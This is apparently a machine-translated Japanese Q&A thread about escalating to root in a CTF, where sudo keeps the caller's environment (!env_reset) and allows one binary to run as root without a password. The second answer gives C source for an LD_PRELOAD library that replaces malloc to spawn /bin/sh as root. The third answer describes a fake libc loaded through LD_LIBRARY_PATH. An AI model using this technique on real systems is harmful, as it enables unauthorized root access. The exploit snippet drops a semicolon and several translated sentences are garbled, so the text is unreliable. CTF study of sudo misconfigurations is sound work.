sudo -l権限の上昇

sudo -l権限の上昇

私はctf作業中であり、権限の昇格の最後の段階にあります。このsudo -lコマンドを使用すると、出力は次のようになります。

Matching Defaults entries for nick on 192:

    always_set_home, !env_reset, env_keep="LANG LC_ADDRESS LC_CTYPE LC_COLLATE
    LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC
    LC_PAPER LC_TELEPHONE LC_ATIME LC_ALL LANGUAGE LINGUAS XDG_SESSION_COOKIE",!insults, targetpw

User nick may run the following commands on 192:
    (ALL) ALL
    (root) NOPASSWD: /restart-apache

env_resetを無効にしてはいけないことを知っていますが、それを使用してrootアクセス権を取得する方法がわかりません。

$ file restart-apache
restart-apache: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, BuildID[sha1]=1b1a4ab278b2d1be83e8b14adfc358cfd277d655, for GNU/Linux 3.2.0, with debug_info, not stripped

答え1

sudoersのマニュアルページから:

ただしenv_reset、このオプションが無効になっている場合、およびenv_checkオプションenv_deleteによって明示的に拒否されていないすべての変数は、呼び出しプロセスによって継承されます。

したがって、起動したプロセスに任意の環境変数を挿入できます。

どのタイプのプログラムなのかは示していませんが、/restart-apacheシェルスクリプトなら簡単です。機能に影響を与える可能性のある環境変数はありますか?シェルスクリプトがほぼすべてのコマンドを実行すると、正確に何が起こりますか?どこで見つけることができますか?

PATHまあ、私は幸運ではなく、実際にコンパイルされたプログラムだったので、おそらく合格できませんでした。可能しかし、それを信じるのは難しいです。

出力はfile切り捨てられるようです。私が得た出力はfile /bin/ls次のようになります(複数行に分割されています)。

/bin/ls: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV),
dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2,
for GNU/Linux 2.6.32, BuildID[sha1]=3c233e12c466a83aa9b2094b07dbfaa5bd10eccd,
stripped

(通訳のフルパスが質問の出力から欠落しています。)

あなたのプログラムが「ld-linux-x86-64.so.2一般的な」動的実行可能ファイルのように使用されている場合は、そのようなプログラムを実行すると実際に何が起こっているのかを確認できます。たとえば、ここで:/lib64/ld-linux-x86-64.so.2 とは何ですか、なぜファイルの実行に使用できますか?

スポイラー:プログラム自体は最初に実行されません。

私達はまた見つけました動的リンカーのマニュアルページ。マニュアルページには、プログラムの起動時に設定される方法に影響を与えるいくつかの興味深い環境変数がリストされています(たとえば、必要な操作をLD_*実行するにはいくつかのコーディングを実行する必要があるかもしれません)。

答え2

env_resetが設定されておらず、env_deleteが含まれておらず、LD_PRELOAD設定env_checkされていません。LD_PRELOAD=/tmp/sploit.soルートはあなたでしょう。

コードはsploit.so次のとおりです。

#include <unistd.h>
void *malloc(size_t size)
{
    static const char* run[] = { "/bin/sh", NULL };
    static const char* env[] = { "PATH=/bin:/usr/bin:/sbin:/usr/sbin", "IFS= \t\n", NULL}
    execve(run[0], run, env);
    _exit(255);
}

答え3

ただ追加しましょうイルカチュウの答え:

カスタマイズで何かをすることができればLD_LIBRARY_PATH他の標準ライブラリを使用することを強制できます。 たくさん内容はlibc.soにリンクされています。を使用してこれを確認できますldd。例えばldd $(which ls):

linux-vdso.so.1 (0x00007fffcc103000)
libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fb4550ff000)
libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fb454f0d000)
libpcre2-8.so.0 => /usr/lib/x86_64-linux-gnu/libpcre2-8.so.0 (0x00007fb454e7d000)
libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fb454e77000)
/lib64/ld-linux-x86-64.so.2 (0x00007fb45515b000)
libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fb454e54000)

これで、基本システムを動的にロードし、すべての呼び出しをシステムに転送して、標準libc.soを模倣するカスタムlibc.soを作成できます。どのライブラリの標準C関数をだますにはどうすればよいですか?何もないそしてそれが何をすべきか。

malloc()したがって、最初の呼び出し時にユーザーの新しいルートシェル(shまたはbash)を生成するトリックlibc.soを作成できます。

これが意味するのは、誰かが単一のプログラムを実行できるsudoアクセス権を与えている場合は、LD_LIBRARY_PATHを設定してトリックライブラリ(libc.so)を提供することで、プログラムが何でも実行できるようにすることができます。

関連情報